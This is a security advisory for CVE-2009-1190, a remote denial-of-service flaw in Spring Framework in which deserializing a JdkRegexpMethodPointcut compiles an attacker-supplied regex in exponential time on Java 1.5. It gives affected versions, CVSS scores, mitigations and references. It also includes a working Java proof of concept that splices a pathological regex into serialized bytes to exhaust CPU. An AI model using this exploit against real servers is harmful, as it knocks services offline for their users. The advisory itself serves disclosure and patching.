Spring Framework Remote Denial of Service Vulnerability

2009.04.29
Credit: Mark Thomas
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 CVE-2009-1190: Spring Framework Remote Denial of Service Vulnerability Severity: Low Vendor: SpringSource Versions Affected: Spring Framework 1.1.0-2.5.6, 3.0.0.M1-3.0.0.M2 dm Server 1.0.0-1.0.2 (note 2.x not affected since dm Server 2.x requires a 1.6 JDK) Description: The j.u.r.Pattern.compile method in Sun 1.5 JDK has a problem ([1],[2]) with exponential compilation times, when using optional groups. A workaround [3] was implemented in 1.4.2_06 but the root cause of poor performance in regex processing was not resolved until JDK 1.6. JdkRegexpMethodPointcut calls Pattern.compile(source[i]); via it's inherited readObject method (from AbstractRegexpMethodPointcut). When Sun JVM 1.5 driven application with spring.jar in its classpath accepts serializable data, an attacker could use a long regex string with many optional groups to consume enormous CPU resources. And, with a few requests all listeners will be occupied with compiling regex expressions forever. Mitigation: * Users of all products may upgrade to JRE/JDK 1.6 which includes the fix for the root cause * Spring Framework 2.5.6.SEC01 has been released for Community users that includes a workaround to the root cause - see[4] for upgrade steps * Spring Framework 2.5.6.SR02 is available for Enterprise users that includes a workaround to the root cause; The software can be found in the Customer Portal [5] * Disable functionality that accepts serializable data from untrusted sources * Spring Framework 3.0.0.M3 will be released shortly that includes a workaround to the root cause * dm Server 1.0.2 Community users may replace the Spring Framework 2.5.6 jar with 2.5.6.SEC01 - see[4] for upgrade steps * dm Server 1.0.3 that includes a workaround to the root cause will be released shortly * Instrumented Spring Framework 2.5.6.SR02 that includes a workaround to the root cause will be released by April 27, 2009 Example: public class DoSSpring { static byte[] getSerialized(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.flush(); oos.close(); return baos.toByteArray(); } public static void main(String[] a) throws Exception{ String thePattern="(Y)?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)" + "?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)?(K)" + "?(W)?(I)?(U)?(a)?$"; String longerPattern = thePattern.substring(0,thePattern.length()-1)+thePattern; int length = longerPattern.length(); String fakePattern = longerPattern.replaceAll(".", "A"); JdkRegexpMethodPointcut jrmp = new JdkRegexpMethodPointcut(); jrmp.setPattern(fakePattern); System.out.println(jrmp); byte[] theArray = getSerialized(jrmp); int i = 0; for (; i < theArray.length;i++) { if (((char)theArray[i])=='A' &&((char)theArray[i+1]=='A')) { break; } } System.arraycopy(longerPattern.getBytes(), 0, theArray, i, length); ByteArrayInputStream bis = new ByteArrayInputStream(theArray); ObjectInputStream ois = new ObjectInputStream(bis); Object o = ois.readObject(); // returns after a very very long time } } Credit: This issue was discovered by the RedHat Security Response Team References: [1] http://www.packetstormsecurity.org/hitb06/DAY_1_-_Marc_Schoenefeld_-_Pen testing_Java_J2EE.pdf [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2540 [3] http://archive.cert.uni-stuttgart.de/uniras/2005/01/msg00035.html [4] http://www.springsource.com/securityadvisory [5] http://www.springsource.com/spring_account_file -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) iEYEARECAAYFAknxfZcACgkQb7IeiTPGAkMX0gCdGsE5fqOd0PcMdcYrLTwyejGp 4p0An1Dwr9T+WsCwytVrztkskexVw84T =zBj5 -----END PGP SIGNATURE-----

References:

https://bugzilla.redhat.com/show_bug.cgi?id=497161


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